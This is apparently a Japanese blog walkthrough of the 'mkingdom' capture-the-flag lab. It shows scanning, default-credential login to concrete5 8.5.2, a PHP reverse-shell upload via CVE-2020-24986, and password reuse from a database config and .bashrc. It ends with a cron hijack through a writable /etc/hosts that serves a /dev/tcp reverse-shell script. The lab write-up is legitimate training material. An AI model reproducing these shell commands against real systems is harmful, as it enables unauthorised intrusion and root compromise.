🌐

【Walkthrough】mkingdom-ff

2025/01/21に公開

列挙

ポートスキャン

Nmap scan report for 10.10.66.211
Host is up, received reset ttl 61 (0.37s latency).
Scanned at 2025-01-21 08:17:01 JST for 17s

PORT   STATE SERVICE REASON         VERSION
85/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.7 ((Ubuntu))
|_http-title: 0H N0! PWN3D 4G4IN
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.7 (Ubuntu)

Web

ディレクトリスキャン

feroxbuster -u http://10.10.66.211:85/ -e -x php,html,txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

                                                                                                                                                                                                       
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.66.211:85/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [php, html, txt]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────

404      GET        9l       32w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET       10l       30w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       33l       69w      647c http://10.10.66.211:85/index.html
200      GET       33l       69w      647c http://10.10.66.211:85/
301      GET        9l       28w      312c http://10.10.66.211:85/app => http://10.10.66.211:85/app/

/appというディレクトリを発見しました。
/appの中央にあるJUMPというボタンをクリックすると/app/castle/にリダイレクトされます。
このページではconcrete5 CMSが使われています。

ログインページを確認すると、concrete5のバージョンが8.5.2であることが分かります。

concrete5 CMS 8.5.2に対する有効なエクスプロイトが見当たらないため、認証情報をページ内から探すか初期設定のアカウント名であるadminを使ってパスワードを辞書攻撃をすると推測できます。
https://exploit-notes.hdks.org/exploit/web/cms/concrete-cms-pentesting/
今回はたまたまadmin/passwordでログインすることに成功しました。

足場

concrete5 CMS 8.5.2にはファイルマネージャー経由で.phpファイルなどの危険なタイプのファイルを無制限にアップロードできるCVE-2020-24986という脆弱性があります。
https://nvd.nist.gov/vuln/detail/CVE-2020-24986
https://hackerone.com/reports/768322
レポートの手順に従ってリバースシェルを獲得していきます。
事前にreverse.phpを作成してレポートに沿ってアップロードしました。

権限昇格

wget経由でlinpeas.shをダウンロードして実行しました。

╔══════════╣ Analyzing Backup Manager Files (limit 70)
-rw-rw-r-- 1 root root 4149 Oct  2  2019 /var/www/html/app/castle/concrete/controllers/dialog/file/bulk/storage.php                                                                                    
-rw-rw-r-- 1 root root 5442 Oct  2  2019 /var/www/html/app/castle/concrete/controllers/single_page/dashboard/system/files/storage.php
-rw-rw-r-- 1 root root 6163 Oct  2  2019 /var/www/html/app/castle/concrete/single_pages/dashboard/system/files/storage.php
-rw-rw-r-- 1 root root 2774 Oct  2  2019 /var/www/html/app/castle/concrete/views/dialogs/file/bulk/storage.php

-rw-rw-rw- 1 www-data www-data 401 Nov 29  2023 /var/www/html/app/castle/application/config/database.php
            'database' => 'mKingdom',
            'password' => 'toadisthebest',
-rw-rw-r-- 1 root root 1428 Oct  2  2019 /var/www/html/app/castle/concrete/config/database.php

database.phpからmysqlのパスワードであるtoadisthebestを見つけました。toadというユーザが存在していることから同じパスワードを使っていると推測します。

www-data@mkingdom:/$ su toad
su toad
Password: toadisthebest

toad@mkingdom:/$ 

toadにログインできました。しばらく探索をしていると、.bashrcに怪しい文字列が追記されていました。

if ! shopt -oq posix; then
  if [ -f /usr/share/bash-completion/bash_completion ]; then
    . /usr/share/bash-completion/bash_completion
  elif [ -f /etc/bash_completion ]; then
    . /etc/bash_completion
  fi
fi

export PWD_token='aWthVGVOVEFOdEVTCg=='
toad@mkingdom:~$ 

base64でデコードするとikaTeNTANtESという文字列が出現しました。試しにもう一人のユーザであるmarioのパスワードとしてログインすると成功しました。
user.txtを開こうとすると/bin/catがtoadのSUIDが設定されているため開くことができませんでした。そのためheadを利用しました。

mario@mkingdom:~$ cat user.txt
cat user.txt
cat: user.txt: Permission denied
mario@mkingdom:~$ head user.txt
head user.txt
thm{**redacted**}
mario@mkingdom:~$ 

marioからもう一度linpeas.shを実行するとcronが動いていることに気づきました。

pspyを使ってどのような動きがあるか観測します。

2025/01/20 20:33:01 CMD: UID=0     PID=20726  | curl mkingdom.thm:85/app/castle/application/counter.sh 
2025/01/20 20:33:01 CMD: UID=0     PID=20725  | /bin/sh -c curl mkingdom.thm:85/app/castle/application/counter.sh | bash >> /var/log/up.log

1分感覚でcounter.shを実行して/var/log/up.logに追記していることが分かります。
counter.shは次のようなスクリプトになっています。

#!/bin/bash
echo "There are $(ls -laR /var/www/html/app/castle/ | wc -l) folder and files in TheCastleApp in - - - - > $(date)."

counter.shには書き込み権限がないので変更することはできません。しかし、pspyの結果で絶対パスではなく相対パスを使っていることから、/etc/hostsファイルに書き込み権限があるのではないかと推測しました。

ls -la /etc/hosts
-rw-rw-r-- 1 root mario 29 Jan 20 22:04 /etc/hosts

/etc/hostsは次のような設定がされており、書き込める状態にありました。
/etc/hostsを次のように変更しました。

echo '{Attacker IP}      mkingdom.thm` > /etc/hosts

次にローカルマシンで次のディレクトリとファイルを作成してhttp serverを立ち上げます

mkdir -p app/castle/application/
echo '#!/bin/bash' > app/castle/application/counter.sh
echo 'sh -i >& /dev/tcp/{Attacker IP}/{Port} 0>&1' >> app/castle/application/counter.sh
sudo python3 -m http.server 85

他のターミナルでリバースシェルを待ち構えます。
Victimマシンから次のようなアクセスがあれば成功しています。

10.10.66.211 - - [21/Jan/2025 13:53:02] "GET /app/castle/application/counter.sh HTTP/1.1" 200 -
10.10.66.211 - - [21/Jan/2025 13:54:02] "GET /app/castle/application/counter.sh HTTP/1.1" 200 -

rootでシェルを取ることができました。

┌──(kali㉿kali)-[~/…/mkingdom/app/castle/application]
└─$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.66.211 51218
sh: 0: can't access tty; job control turned off
# whoami
root
# head /root/root.txt
thm{**redacted**}

Discussion